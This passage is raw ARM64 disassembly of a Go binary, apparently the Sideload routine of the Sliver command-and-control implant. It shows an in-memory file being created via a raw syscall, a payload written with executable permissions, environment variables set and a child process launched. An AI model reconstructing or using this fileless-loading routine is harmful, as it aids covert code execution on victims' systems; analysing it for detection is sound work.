0042a46cb 0x42a474
0042a470
0042a470loc_42a470:
0042a470b 0x42a488
0042a474
0042a474loc_42a474:
0042a474bl runtime.gcWriteBarrier2
0042a478str x6, [x25]
0042a47cldr x7, [x5]
0042a480str x7, [x25+8]
0042a484b 0x42a488
0042a488
0042a488loc_42a488:
0042a488str x6, [x5]
0042a48cldrsb x27, [x5]
0042a490ldr x6, [sp+824]
0042a494ldr x7, [sp+832]
0042a498str x7, [x5+24]
0042a49cadrp x27, 0x621000
0042a4a0ldr w7, [x27+3056]
0042a4a4cbz w7, 0x42a4ac
0042a4a8b 0x42a4b0
0042a4ac
0042a4acloc_42a4ac:
0042a4acb 0x42a4c4
0042a4b0
0042a4b0loc_42a4b0:
0042a4b0bl runtime.gcWriteBarrier2
0042a4b4str x6, [x25]
0042a4b8ldr x7, [x5+16]
0042a4bcstr x7, [x25+8]
0042a4c0b 0x42a4c4
0042a4c4
0042a4c4loc_42a4c4:
0042a4c4str x6, [x5+16]
0042a4c8ldr x5, [sp+504]
0042a4ccldrsb x27, [x5]
0042a4d0b 0x42a4d4
0042a4d4
0042a4d4loc_42a4d4:
0042a4d4str x5, [sp+176]
0042a4d8orr x5, xzr, 2
0042a4dcstr x5, [sp+184]
0042a4e0str x5, [sp+192]
0042a4e4ldr x2, [sp+272]
0042a4e8ldr x0, [sp+256]
0042a4ecldr x5, [sp+264]
0042a4f0str x0, [sp+448]
0042a4f4str x5, [sp+456]
0042a4f8str x2, [sp+464]
0042a4fcldr x6, [sp+184]
0042a500add x1, x5, x6
0042a504str x1, [sp+80]
0042a508subs xzr, x2, x1
0042a50cb.hs 0x42a514
0042a510b 0x42a51c
0042a514
0042a514loc_42a514:
0042a514str x1, [sp+456]
0042a518b 0x42a53c
0042a51c
0042a51cloc_42a51c:
0042a51cldr x3, [sp+184]
0042a520adrp x4, 0x1cb000
0042a524add x4, x4, 2944
0042a528bl runtime.growslice
0042a52cstr x0, [sp+448]
0042a530str x1, [sp+456]
0042a534str x2, [sp+464]
0042a538b 0x42a53c
0042a53c
0042a53cloc_42a53c:
0042a53cldr x5, [sp+80]
0042a540ldr x6, [sp+184]
0042a544sub x7, x5, x6
0042a548ubfm x7, x7, 60, 59
0042a54cldr x8, [sp+448]
0042a550ldr x9, [sp+456]
0042a554add x9, x9, x6
0042a558sub x2, x9, x5
0042a55cldr x9, [sp+464]
0042a560add x6, x9, x6
0042a564sub x5, x6, x5
0042a568sub x6, xzr, x5
0042a56cand x6, x7, x6, asr #63
0042a570add x1, x8, x6
0042a574str x1, [sp+424]
0042a578str x2, [sp+432]
0042a57cstr x5, [sp+440]
0042a580ldr x3, [sp+176]
0042a584ldr x4, [sp+184]
0042a588adrp x0, 0x1cb000
0042a58cadd x0, x0, 2944
0042a590bl runtime.typedslicecopy
0042a594ldr x5, [sp+448]
0042a598ldr x6, [sp+456]
0042a59cldr x7, [sp+464]
0042a5a0str x5, [sp+256]
0042a5a4str x6, [sp+264]
0042a5a8str x7, [sp+272]
0042a5acldr x5, [sp+1072]
0042a5b0str x5, [sp+88]
0042a5b4cbnz x5, 0x42a5bc
0042a5b8b 0x42a5dc
0042a5bc
0042a5bcloc_42a5bc:
0042a5bcldr x0, [sp+1048]
0042a5c0ldr x2, [sp+1064]
0042a5c4ldr x1, [sp+1056]
0042a5c8ldr x3, [sp+1072]
0042a5ccldr x4, [sp+1080]
0042a5d0bl os/exec.Command
0042a5d4str x0, [sp+280]
0042a5d8b 0x42a5fc
0042a5dc
0042a5dcloc_42a5dc:
0042a5dcldr x0, [sp+1048]
0042a5e0ldr x1, [sp+1056]
0042a5e4mov x2, xzr
0042a5e8mov x3, xzr
0042a5ecmov x4, x3
0042a5f0bl os/exec.Command
0042a5f4str x0, [sp+280]
0042a5f8b 0x42a5fc
0042a5fc
0042a5fcloc_42a5fc:
0042a5fcldr x1, [sp+280]
0042a600ldrsb x27, [x1]
0042a604ldr x2, [sp+256]
0042a608ldr x3, [sp+264]
0042a60cldr x4, [sp+272]
0042a610str x3, [x1+48]
0042a614str x4, [x1+56]
0042a618adrp x27, 0x621000
0042a61cldr w3, [x27+3056]
0042a620cbz w3, 0x42a628
0042a624b 0x42a62c
0042a628
0042a628loc_42a628:
0042a628b 0x42a640
0042a62c
0042a62cloc_42a62c:
0042a62cbl runtime.gcWriteBarrier2
0042a630str x2, [x25]
0042a634ldr x3, [x1+40]
0042a638str x3, [x25+8]
0042a63cb 0x42a640
0042a640
0042a640loc_42a640:
0042a640str x2, [x1+40]
0042a644ldr x1, [sp+1016]
0042a648str x1, [sp+816]
0042a64cldr x2, [sp+280]
0042a650ldrsb x27, [x2]
0042a654adrp x3, 0x2e9000
0042a658add x3, x3, 2976
0042a65cstr x3, [x2+96]
0042a660adrp x27, 0x621000
0042a664ldr w3, [x27+3056]
0042a668cbz w3, 0x42a670
0042a66cb 0x42a674
0042a670
0042a670loc_42a670:
0042a670b 0x42a688
0042a674
0042a674loc_42a674:
0042a674bl runtime.gcWriteBarrier2
0042a678str x1, [x25]
0042a67cldr x3, [x2+104]
0042a680str x3, [x25+8]
0042a684b 0x42a688
0042a688
0042a688loc_42a688:
0042a688str x1, [x2+104]
0042a68cldr x1, [sp+1024]
0042a690str x1, [sp+816]
0042a694ldr x2, [sp+280]
0042a698ldrsb x27, [x2]
0042a69cadrp x3, 0x2e9000
0042a6a0add x3, x3, 2976
0042a6a4str x3, [x2+112]
0042a6a8adrp x27, 0x621000
0042a6acldr w3, [x27+3056]
0042a6b0cbz w3, 0x42a6b8
0042a6b4b 0x42a6bc
0042a6b8
0042a6b8loc_42a6b8:
0042a6b8b 0x42a6d0
0042a6bc
0042a6bcloc_42a6bc:
0042a6bcbl runtime.gcWriteBarrier2
0042a6c0str x1, [x25]
0042a6c4ldr x3, [x2+120]
0042a6c8str x3, [x25+8]
0042a6ccb 0x42a6d0
0042a6d0
0042a6d0loc_42a6d0:
0042a6d0str x1, [x2+120]
0042a6d4ldr x0, [sp+280]
0042a6d8bl os/exec.(*Cmd).String
0042a6dcstr x0, [sp+824]
0042a6e0str x1, [sp+832]
0042a6e4add x27, sp, 840
0042a6e8stp xzr, xzr, [x27]
0042a6ecadd x1, sp, 840
0042a6f0str x1, [sp+392]
0042a6f4ldr x0, [sp+824]
0042a6f8ldr x1, [sp+832]
0042a6fcbl runtime.convTstring
0042a700str x0, [sp+384]
0042a704ldr x1, [sp+392]
0042a708ldrsb x27, [x1]
0042a70cadrp x2, 0x1cb000
0042a710add x2, x2, 2944
0042a714str x2, [x1]
0042a718adrp x27, 0x621000
0042a71cldr w2, [x27+3056]
0042a720cbz w2, 0x42a728
0042a724b 0x42a72c
0042a728
0042a728loc_42a728:
0042a728b 0x42a740
0042a72c
0042a72cloc_42a72c:
0042a72cbl runtime.gcWriteBarrier2
0042a730str x0, [x25]
0042a734ldr x5, [x1+8]
0042a738str x5, [x25+8]
0042a73cb 0x42a740
0042a740
0042a740loc_42a740:
0042a740str x0, [x1+8]
0042a744ldr x2, [sp+392]
0042a748ldrsb x27, [x2]
0042a74cb 0x42a750
0042a750
0042a750loc_42a750:
0042a750str x2, [sp+400]
0042a754orr x4, xzr, 1
0042a758str x4, [sp+408]
0042a75cstr x4, [sp+416]
0042a760adrp x0, 0x289000
0042a764add x0, x0, 564
0042a768orr x1, xzr, 12
0042a76cmov x3, x4
0042a770bl log.Printf
0042a774ldr x0, [sp+1008]
0042a778orr x1, xzr, 1
0042a77cbl sync.(*WaitGroup).Add
0042a780ldr x5, [sp+280]
0042a784str x5, [sp+976]
0042a788ldr x5, [sp+1008]
0042a78cstr x5, [sp+968]
0042a790adrp x0, 0x222000
0042a794add x0, x0, 960
0042a798bl runtime.newobject
0042a79cstr x0, [sp+376]
0042a7a0adrp x5, 0
0042a7a4add x5, x5, 2656
0042a7a8str x5, [x0]
0042a7acldr x5, [sp+976]
0042a7b0ldr x6, [sp+376]
0042a7b4ldrsb x27, [x6]
0042a7b8adrp x27, 0x621000
0042a7bcldr w7, [x27+3056]
0042a7c0cbz w7, 0x42a7c8
0042a7c4b 0x42a7cc
0042a7c8
0042a7c8loc_42a7c8:
0042a7c8b 0x42a7e0
0042a7cc
0042a7ccloc_42a7cc:
0042a7ccbl runtime.gcWriteBarrier2
0042a7d0str x5, [x25]
0042a7d4ldr x1, [x6+8]
0042a7d8str x1, [x25+8]
0042a7dcb 0x42a7e0
0042a7e0
0042a7e0loc_42a7e0:
0042a7e0str x5, [x6+8]
0042a7e4ldr x1, [sp+968]
0042a7e8ldr x2, [sp+376]
0042a7ecldrsb x27, [x2]
0042a7f0adrp x27, 0x621000
0042a7f4ldr w3, [x27+3056]
0042a7f8cbz w3, 0x42a800
0042a7fcb 0x42a804
0042a800
0042a800loc_42a800:
0042a800b 0x42a818
0042a804
0042a804loc_42a804:
0042a804bl runtime.gcWriteBarrier2
0042a808str x1, [x25]
0042a80cldr x3, [x2+16]
0042a810str x3, [x25+8]
0042a814b 0x42a818
0042a818
0042a818loc_42a818:
0042a818str x1, [x2+16]
0042a81cldr x0, [sp+376]
0042a820bl runtime.newproc
0042a824ldr x0, [sp+1008]
0042a828bl sync.(*WaitGroup).Wait
0042a82cldr x0, [sp+1024]
0042a830bl bytes.(*Buffer).Bytes
0042a834str x0, [sp+792]
0042a838str x1, [sp+800]
0042a83cstr x2, [sp+808]
0042a840str x1, [sp+88]
0042a844cbnz x1, 0x42a84c
0042a848b 0x42a89c
0042a84c
0042a84cloc_42a84c:
0042a84cldr x0, [sp+1024]
0042a850bl bytes.(*Buffer).String
0042a854str x0, [sp+824]
0042a858str x1, [sp+832]
0042a85cmov x2, xzr
0042a860mov x3, xzr
0042a864mov x4, x3
0042a868bl fmt.Errorf
0042a86cstr x0, [sp+936]
0042a870str x1, [sp+944]
0042a874stp xzr, xzr, [sp+160]
0042a878ldr x2, [sp+936]
0042a87cldr x3, [sp+944]
0042a880str x2, [sp+144]
0042a884str x3, [sp+152]
0042a888ldr x0, [sp+160]
0042a88cldr x1, [sp+168]
0042a890ldp x29, x30, [sp-8]
0042a894add sp, sp, 1040
0042a898ret x30
0042a89c
0042a89cloc_42a89c:
0042a89cldr x0, [sp+1016]
0042a8a0bl bytes.(*Buffer).String
0042a8a4str x0, [sp+824]
0042a8a8str x1, [sp+832]
0042a8acadd x27, sp, 840
0042a8b0stp xzr, xzr, [x27]
0042a8b4add x1, sp, 840
0042a8b8str x1, [sp+344]
0042a8bcldr x0, [sp+824]
0042a8c0ldr x1, [sp+832]
0042a8c4bl runtime.convTstring
0042a8c8str x0, [sp+336]
0042a8ccldr x1, [sp+344]
0042a8d0ldrsb x27, [x1]
0042a8d4adrp x2, 0x1cb000
0042a8d8add x2, x2, 2944
0042a8dcstr x2, [x1]
0042a8e0adrp x27, 0x621000
0042a8e4ldr w2, [x27+3056]
0042a8e8cbz w2, 0x42a8f0
0042a8ecb 0x42a8f4
0042a8f0
0042a8f0loc_42a8f0:
0042a8f0b 0x42a908
0042a8f4
0042a8f4loc_42a8f4:
0042a8f4bl runtime.gcWriteBarrier2
0042a8f8str x0, [x25]
0042a8fcldr x5, [x1+8]
0042a900str x5, [x25+8]
0042a904b 0x42a908
0042a908
0042a908loc_42a908:
0042a908str x0, [x1+8]
0042a90cldr x2, [sp+344]
0042a910ldrsb x27, [x2]
0042a914b 0x42a918
0042a918
0042a918loc_42a918:
0042a918str x2, [sp+352]
0042a91corr x4, xzr, 1
0042a920str x4, [sp+360]
0042a924str x4, [sp+368]
0042a928adrp x0, 0x28b000
0042a92cadd x0, x0, 1186
0042a930movz x1, 17
0042a934mov x3, x4
0042a938bl log.Printf
0042a93cldr x0, [sp+1024]
0042a940bl bytes.(*Buffer).String
0042a944str x0, [sp+824]
0042a948str x1, [sp+832]
0042a94cadd x27, sp, 840
0042a950stp xzr, xzr, [x27]
0042a954add x5, sp, 840
0042a958str x5, [sp+304]
0042a95cldr x0, [sp+824]
0042a960ldr x1, [sp+832]
0042a964bl runtime.convTstring
0042a968str x0, [sp+296]
0042a96cldr x5, [sp+304]
0042a970ldrsb x27, [x5]
0042a974adrp x6, 0x1cb000
0042a978add x6, x6, 2944
0042a97cstr x6, [x5]
0042a980adrp x27, 0x621000
0042a984ldr w6, [x27+3056]
0042a988cbz w6, 0x42a990
0042a98cb 0x42a994
0042a990
0042a990loc_42a990:
0042a990b 0x42a9a8
0042a994
0042a994loc_42a994:
0042a994bl runtime.gcWriteBarrier2
0042a998str x0, [x25]
0042a99cldr x6, [x5+8]
0042a9a0str x6, [x25+8]
0042a9a4b 0x42a9a8
0042a9a8
0042a9a8loc_42a9a8:
0042a9a8str x0, [x5+8]
0042a9acldr x2, [sp+304]
0042a9b0ldrsb x27, [x2]
0042a9b4b 0x42a9b8
0042a9b8
0042a9b8loc_42a9b8:
0042a9b8str x2, [sp+312]
0042a9bcorr x4, xzr, 1
0042a9c0str x4, [sp+320]
0042a9c4str x4, [sp+328]
0042a9c8adrp x0, 0x28b000
0042a9ccadd x0, x0, 1203
0042a9d0movz x1, 17
0042a9d4mov x3, x4
0042a9d8bl log.Printf
0042a9dcldr x0, [sp+1016]
0042a9e0bl bytes.(*Buffer).String
0042a9e4str x0, [sp+824]
0042a9e8str x1, [sp+832]
0042a9ecstr x0, [sp+160]
0042a9f0str x1, [sp+168]
0042a9f4stp xzr, xzr, [sp+144]
0042a9f8ldr x0, [sp+160]
0042a9fcldr x1, [sp+168]
0042aa00mov x2, xzr
0042aa04mov x3, xzr
0042aa08ldp x29, x30, [sp-8]
0042aa0cadd sp, sp, 1040
0042aa10ret x30
0042aa14
0042aa14loc_42aa14:
0042aa14stp x0, x1, [sp+8]
0042aa18stp x2, x3, [sp+24]
0042aa1cstr x4, [sp+40]
0042aa20str w5, [sp+48]
0042aa24stp x6, x7, [sp+56]
0042aa28stp x8, x9, [sp+72]
0042aa2cstp x10, x11, [sp+88]
0042aa30strb w12, [sp+104]
0042aa34mov x3, x30
0042aa38bl runtime.morestack_noctxt.abi0
0042aa3cldp x0, x1, [sp+8]
0042aa40ldp x2, x3, [sp+24]
0042aa44ldr x4, [sp+40]
0042aa48ldr w5, [sp+48]
0042aa4cldp x6, x7, [sp+56]
0042aa50ldp x8, x9, [sp+72]
0042aa54ldp x10, x11, [sp+88]
0042aa58ldrb w12, [sp+104]
0042aa5cb 0x429dc0
00429dc0
00429dc0github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload: ; void github.com/bishopfox/sliver/implant/sliver/taskrunner.Sideload(struct string procName, struct []string procArgs, uint32 p2, struct []uint8 data, struct []string args, bool kill)
00429dc0ldr x16, [x28+16]
00429dc4sub x17, sp, 912
00429dc8subs xzr, x17, x16
00429dccb.ls 0x42aa14
00429dd0sub x20, sp, 1040
00429dd4stp x29, x30, [x20-8]
00429dd8add sp, x20, 0
00429ddcsub x29, sp, 8
00429de0str x0, [sp+1048]
00429de4str x1, [sp+1056]
00429de8str x2, [sp+1064]
00429decstr x3, [sp+1072]
00429df0str x4, [sp+1080]
00429df4str w5, [sp+1088]
00429df8str x6, [sp+1096]
00429dfcstr x7, [sp+1104]
00429e00str x8, [sp+1112]
00429e04str x9, [sp+1120]
00429e08str x10, [sp+1128]
00429e0cstr x11, [sp+1136]
00429e10strb w12, [sp+1144]
00429e14stp xzr, xzr, [sp+160]
00429e18stp xzr, xzr, [sp+144]
00429e1cstr xzr, [sp+64]
00429e20adrp x0, 0x229000
00429e24add x0, x0, 2048
00429e28bl runtime.newobject
00429e2cstr x0, [sp+1016]
00429e30adrp x27, 0x622000
00429e34ldr w1, [x27+3056]
00429e38cbz w1, 0x429e40
00429e3cb 0x429e44
00429e40
00429e40loc_429e40:
00429e40b 0x429e60
00429e44
00429e44loc_429e44:
00429e44str x0, [sp+288]
00429e48mov x1, x0
00429e4cadrp x0, 0x229000
00429e50add x0, x0, 2048
00429e54bl runtime.wbZero
00429e58ldr x0, [sp+288]
00429e5cb 0x429e60
00429e60
00429e60loc_429e60:
00429e60stp xzr, xzr, [x0]
00429e64stp xzr, xzr, [x0+16]
00429e68str xzr, [x0+32]
00429e6cadrp x0, 0x229000
00429e70add x0, x0, 2048
00429e74bl runtime.newobject
00429e78str x0, [sp+1024]
00429e7cadrp x27, 0x622000
00429e80ldr w1, [x27+3056]
00429e84cbz w1, 0x429e8c
00429e88b 0x429e90
00429e8c
00429e8cloc_429e8c:
00429e8cb 0x429eac
00429e90
00429e90loc_429e90:
00429e90str x0, [sp+288]
00429e94mov x1, x0
00429e98adrp x0, 0x229000
00429e9cadd x0, x0, 2048
00429ea0bl runtime.wbZero
00429ea4ldr x0, [sp+288]
00429ea8b 0x429eac
00429eac
00429eacloc_429eac:
00429eacstp xzr, xzr, [x0]
00429eb0stp xzr, xzr, [x0+16]
00429eb4str xzr, [x0+32]
00429eb8adrp x0, 0x229000
00429ebcadd x0, x0, 128
00429ec0bl runtime.newobject
00429ec4str x0, [sp+1008]
00429ec8str xzr, [x0]
00429eccstr wzr, [x0+8]
00429ed0str xzr, [sp+280]
00429ed4orr x0, xzr, 8
00429ed8bl github.com/bishopfox/sliver/implant/sliver/taskrunner.RandomString
00429edcstr x0, [sp+200]
00429ee0str x1, [sp+208]
00429ee4str xzr, [sp+952]
00429ee8add x27, sp, 936
00429eecstp xzr, xzr, [x27]
00429ef0ldr x0, [sp+200]
00429ef4ldr x1, [sp+208]
00429ef8bl syscall.BytePtrFromString
00429efcstr x0, [sp+952]
00429f00str x1, [sp+936]
00429f04str x2, [sp+944]
00429f08ldr x1, [sp+952]
00429f0cstr x1, [sp+1000]
00429f10ldr x1, [sp+936]
00429f14ldr x2, [sp+944]
00429f18str x1, [sp+984]
00429f1cstr x2, [sp+992]
00429f20ldr x1, [sp+1000]
00429f24str x1, [sp+216]
00429f28ldr x1, [sp+992]
00429f2cldr x2, [sp+984]
00429f30str x2, [sp+240]
00429f34str x1, [sp+248]
00429f38cbnz x2, 0x429f40
00429f3cb 0x42a01c
00429f40
00429f40loc_429f40:
00429f40add x27, sp, 920
00429f44stp xzr, xzr, [x27]
00429f48add x5, sp, 920
00429f4cstr x5, [sp+760]
00429f50ldr x5, [sp+240]
00429f54ldr x6, [sp+248]
00429f58str x5, [sp+744]
00429f5cstr x6, [sp+752]
00429f60str x5, [sp+736]
00429f64ldr x5, [sp+736]
00429f68cbnz x5, 0x429f70
00429f6cb 0x429f80
00429f70
00429f70loc_429f70:
00429f70ldr x5, [sp+736]
00429f74ldr x5, [x5+8]
00429f78str x5, [sp+736]
00429f7cb 0x429f84
00429f80
00429f80loc_429f80:
00429f80b 0x429f84
00429f84
00429f84loc_429f84:
00429f84ldr x5, [sp+760]
00429f88ldrsb x27, [x5]
00429f8cldr x6, [sp+752]
00429f90ldr x7, [sp+736]
00429f94str x7, [x5]
00429f98adrp x27, 0x622000
00429f9cldr w7, [x27+3056]
00429fa0cbz w7, 0x429fa8
00429fa4b 0x429fac
00429fa8
00429fa8loc_429fa8:
00429fa8b 0x429fc0
00429fac
00429facloc_429fac:
00429facbl runtime.gcWriteBarrier2
00429fb0str x6, [x25]
00429fb4ldr x7, [x5+8]
00429fb8str x7, [x25+8]
00429fbcb 0x429fc0
00429fc0
00429fc0loc_429fc0:
00429fc0str x6, [x5+8]
00429fc4ldr x2, [sp+760]
00429fc8ldrsb x27, [x2]
00429fccb 0x429fd0
00429fd0
00429fd0loc_429fd0:
00429fd0str x2, [sp+768]
00429fd4orr x4, xzr, 1
00429fd8str x4, [sp+776]
00429fdcstr x4, [sp+784]
00429fe0adrp x0, 0x292000
00429fe4add x0, x0, 2620
00429fe8orr x1, xzr, 28
00429fecmov x3, x4
00429ff0bl log.Printf
00429ff4stp xzr, xzr, [sp+160]
00429ff8ldr x3, [sp+248]
00429ffcldr x2, [sp+240]
0042a000str x2, [sp+144]
0042a004str x3, [sp+152]
0042a008ldr x0, [sp+160]
0042a00cldr x1, [sp+168]
0042a010ldp x29, x30, [sp-8]
0042a014add sp, sp, 1040
0042a018ret x30
0042a01c
0042a01cloc_42a01c:
0042a01cmovz x4, 319
0042a020str x4, [sp+64]
0042a024ldr x4, [sp+216]
0042a028str x4, [sp+960]
0042a02cldr x0, [sp+64]
0042a030ldr x1, [sp+960]
0042a034orr x2, xzr, 1
0042a038mov x3, xzr
0042a03cbl syscall.Syscall
0042a040str x0, [sp+112]
0042a044str x1, [sp+104]
0042a048str x2, [sp+96]
0042a04cstr x0, [sp+136]
0042a050str x1, [sp+128]
0042a054str x2, [sp+120]
0042a058str x0, [sp+72]
0042a05cbl os.Getpid
0042a060str x0, [sp+56]
0042a064add x27, sp, 888
0042a068stp xzr, xzr, [x27]
0042a06cadd x27, sp, 904
0042a070stp xzr, xzr, [x27]
0042a074add x4, sp, 888
0042a078str x4, [sp+704]
0042a07cldr x0, [sp+56]
0042a080bl runtime.convT64
0042a084str x0, [sp+696]
0042a088ldr x4, [sp+704]
0042a08cldrsb x27, [x4]
0042a090adrp x5, 0x1cb000
0042a094add x5, x5, 3520
0042a098str x5, [x4]
0042a09cadrp x27, 0x621000
0042a0a0ldr w5, [x27+3056]
0042a0a4cbz w5, 0x42a0ac
0042a0a8b 0x42a0b0
0042a0ac
0042a0acloc_42a0ac:
0042a0acb 0x42a0c4
0042a0b0
0042a0b0loc_42a0b0:
0042a0b0bl runtime.gcWriteBarrier2
0042a0b4str x0, [x25]
0042a0b8ldr x1, [x4+8]
0042a0bcstr x1, [x25+8]
0042a0c0b 0x42a0c4
0042a0c4
0042a0c4loc_42a0c4:
0042a0c4str x0, [x4+8]
0042a0c8ldr x0, [sp+72]
0042a0ccbl runtime.convT64
0042a0d0str x0, [sp+688]
0042a0d4ldr x1, [sp+704]
0042a0d8ldrsb x27, [x1]
0042a0dcadrp x2, 0x1cb000
0042a0e0add x2, x2, 3648
0042a0e4str x2, [x1+16]
0042a0e8adrp x27, 0x621000
0042a0ecldr w2, [x27+3056]
0042a0f0cbz w2, 0x42a0f8
0042a0f4b 0x42a0fc
0042a0f8
0042a0f8loc_42a0f8:
0042a0f8b 0x42a110
0042a0fc
0042a0fcloc_42a0fc:
0042a0fcbl runtime.gcWriteBarrier2
0042a100str x0, [x25]
0042a104ldr x5, [x1+24]
0042a108str x5, [x25+8]
0042a10cb 0x42a110
0042a110
0042a110loc_42a110:
0042a110str x0, [x1+24]
0042a114ldr x2, [sp+704]
0042a118ldrsb x27, [x2]
0042a11cb 0x42a120
0042a120
0042a120loc_42a120:
0042a120str x2, [sp+712]
0042a124orr x4, xzr, 2
0042a128str x4, [sp+720]
0042a12cstr x4, [sp+728]
0042a130adrp x0, 0x289000
0042a134add x0, x0, 3542
0042a138orr x1, xzr, 14
0042a13cmov x3, x4
0042a140bl fmt.Sprintf
0042a144str x0, [sp+224]
0042a148str x1, [sp+232]
0042a14cldr x3, [sp+1104]
0042a150ldr x4, [sp+1112]
0042a154ldr x2, [sp+1096]
0042a158movz x5, 493
0042a15cbl os.WriteFile
0042a160str x0, [sp+240]
0042a164str x1, [sp+248]
0042a168cbnz x0, 0x42a170
0042a16cb 0x42a24c
0042a170
0042a170loc_42a170:
0042a170add x27, sp, 920
0042a174stp xzr, xzr, [x27]
0042a178add x5, sp, 920
0042a17cstr x5, [sp+656]
0042a180ldr x5, [sp+240]
0042a184ldr x6, [sp+248]
0042a188str x5, [sp+640]
0042a18cstr x6, [sp+648]
0042a190str x5, [sp+632]
0042a194ldr x5, [sp+632]
0042a198cbnz x5, 0x42a1a0
0042a19cb 0x42a1b0
0042a1a0
0042a1a0loc_42a1a0:
0042a1a0ldr x5, [sp+632]
0042a1a4ldr x5, [x5+8]
0042a1a8str x5, [sp+632]
0042a1acb 0x42a1b4
0042a1b0
0042a1b0loc_42a1b0:
0042a1b0b 0x42a1b4
0042a1b4
0042a1b4loc_42a1b4:
0042a1b4ldr x5, [sp+656]
0042a1b8ldrsb x27, [x5]
0042a1bcldr x6, [sp+632]
0042a1c0ldr x7, [sp+648]
0042a1c4str x6, [x5]
0042a1c8adrp x27, 0x621000
0042a1ccldr w6, [x27+3056]
0042a1d0cbz w6, 0x42a1d8
0042a1d4b 0x42a1dc
0042a1d8
0042a1d8loc_42a1d8:
0042a1d8b 0x42a1f0
0042a1dc
0042a1dcloc_42a1dc:
0042a1dcbl runtime.gcWriteBarrier2
0042a1e0str x7, [x25]
0042a1e4ldr x6, [x5+8]
0042a1e8str x6, [x25+8]
0042a1ecb 0x42a1f0
0042a1f0
0042a1f0loc_42a1f0:
0042a1f0str x7, [x5+8]
0042a1f4ldr x2, [sp+656]
0042a1f8ldrsb x27, [x2]
0042a1fcb 0x42a200
0042a200
0042a200loc_42a200:
0042a200str x2, [sp+664]
0042a204orr x4, xzr, 1
0042a208str x4, [sp+672]
0042a20cstr x4, [sp+680]
0042a210adrp x0, 0x294000
0042a214add x0, x0, 2288
0042a218orr x1, xzr, 32
0042a21cmov x3, x4
0042a220bl log.Printf
0042a224stp xzr, xzr, [sp+160]
0042a228ldr x3, [sp+248]
0042a22cldr x2, [sp+240]
0042a230str x2, [sp+144]
0042a234str x3, [sp+152]
0042a238ldr x0, [sp+160]
0042a23cldr x1, [sp+168]
0042a240ldp x29, x30, [sp-8]
0042a244add sp, sp, 1040
0042a248ret x30
0042a24c
0042a24cloc_42a24c:
0042a24cadd x27, sp, 920
0042a250stp xzr, xzr, [x27]
0042a254add x2, sp, 920
0042a258str x2, [sp+600]
0042a25cldr x0, [sp+224]
0042a260ldr x1, [sp+232]
0042a264bl runtime.convTstring
0042a268str x0, [sp+592]
0042a26cldr x2, [sp+600]
0042a270ldrsb x27, [x2]
0042a274adrp x3, 0x1cb000
0042a278add x3, x3, 2944
0042a27cstr x3, [x2]
0042a280adrp x27, 0x621000
0042a284ldr w3, [x27+3056]
0042a288cbz w3, 0x42a290
0042a28cb 0x42a294
0042a290
0042a290loc_42a290:
0042a290b 0x42a2a8
0042a294
0042a294loc_42a294:
0042a294bl runtime.gcWriteBarrier2
0042a298str x0, [x25]
0042a29cldr x5, [x2+8]
0042a2a0str x5, [x25+8]
0042a2a4b 0x42a2a8
0042a2a8
0042a2a8loc_42a2a8:
0042a2a8str x0, [x2+8]
0042a2acldr x2, [sp+600]
0042a2b0ldrsb x27, [x2]
0042a2b4b 0x42a2b8
0042a2b8
0042a2b8loc_42a2b8:
0042a2b8str x2, [sp+608]
0042a2bcorr x4, xzr, 1
0042a2c0str x4, [sp+616]
0042a2c4str x4, [sp+624]
0042a2c8adrp x0, 0x28c000
0042a2ccadd x0, x0, 1175
0042a2d0movz x1, 19
0042a2d4mov x3, x4
0042a2d8bl log.Printf
0042a2dcbl os.Environ
0042a2e0str x0, [sp+256]
0042a2e4str x1, [sp+264]
0042a2e8str x2, [sp+272]
0042a2ecldr x0, [sp+1120]
0042a2f0ldr x1, [sp+1128]
0042a2f4ldr x2, [sp+1136]
0042a2f8adrp x3, 0x2e6000
0042a2fcadd x3, x3, 3072
0042a300orr x4, xzr, 1
0042a304bl strings.Join
0042a308str x0, [sp+872]
0042a30cstr x1, [sp+880]
0042a310add x27, sp, 920
0042a314stp xzr, xzr, [x27]
0042a318add x5, sp, 920
0042a31cstr x5, [sp+560]
0042a320ldr x0, [sp+872]
0042a324ldr x1, [sp+880]
0042a328bl runtime.convTstring
0042a32cstr x0, [sp+552]
0042a330ldr x5, [sp+560]
0042a334ldrsb x27, [x5]
0042a338adrp x6, 0x1cb000
0042a33cadd x6, x6, 2944
0042a340str x6, [x5]
0042a344adrp x27, 0x621000
0042a348ldr w6, [x27+3056]
0042a34ccbz w6, 0x42a354
0042a350b 0x42a358
0042a354
0042a354loc_42a354:
0042a354b 0x42a36c
0042a358
0042a358loc_42a358:
0042a358bl runtime.gcWriteBarrier2
0042a35cstr x0, [x25]
0042a360ldr x6, [x5+8]
0042a364str x6, [x25+8]
0042a368b 0x42a36c
0042a36c
0042a36cloc_42a36c:
0042a36cstr x0, [x5+8]
0042a370ldr x2, [sp+560]
0042a374ldrsb x27, [x2]
0042a378b 0x42a37c
0042a37c
0042a37cloc_42a37c:
0042a37cstr x2, [sp+568]
0042a380orr x4, xzr, 1
0042a384str x4, [sp+576]
0042a388str x4, [sp+584]
0042a38cadrp x0, 0x289000
0042a390add x0, x0, 552
0042a394orr x1, xzr, 12
0042a398mov x3, x4
0042a39cbl fmt.Sprintf
0042a3a0str x0, [sp+856]
0042a3a4str x1, [sp+864]
0042a3a8add x27, sp, 840
0042a3acstp xzr, xzr, [x27]
0042a3b0add x5, sp, 840
0042a3b4str x5, [sp+520]
0042a3b8ldr x0, [sp+224]
0042a3bcldr x1, [sp+232]
0042a3c0bl runtime.convTstring
0042a3c4str x0, [sp+512]
0042a3c8ldr x5, [sp+520]
0042a3ccldrsb x27, [x5]
0042a3d0adrp x6, 0x1cb000
0042a3d4add x6, x6, 2944
0042a3d8str x6, [x5]
0042a3dcadrp x27, 0x621000
0042a3e0ldr w6, [x27+3056]
0042a3e4cbz w6, 0x42a3ec
0042a3e8b 0x42a3f0
0042a3ec
0042a3ecloc_42a3ec:
0042a3ecb 0x42a404
0042a3f0
0042a3f0loc_42a3f0:
0042a3f0bl runtime.gcWriteBarrier2
0042a3f4str x0, [x25]
0042a3f8ldr x6, [x5+8]
0042a3fcstr x6, [x25+8]
0042a400b 0x42a404
0042a404
0042a404loc_42a404:
0042a404str x0, [x5+8]
0042a408ldr x2, [sp+520]
0042a40cldrsb x27, [x2]
0042a410b 0x42a414
0042a414
0042a414loc_42a414:
0042a414str x2, [sp+528]
0042a418orr x4, xzr, 1
0042a41cstr x4, [sp+536]
0042a420str x4, [sp+544]
0042a424adrp x0, 0x289000
0042a428add x0, x0, 2226
0042a42cmovz x1, 13
0042a430mov x3, x4
0042a434bl fmt.Sprintf
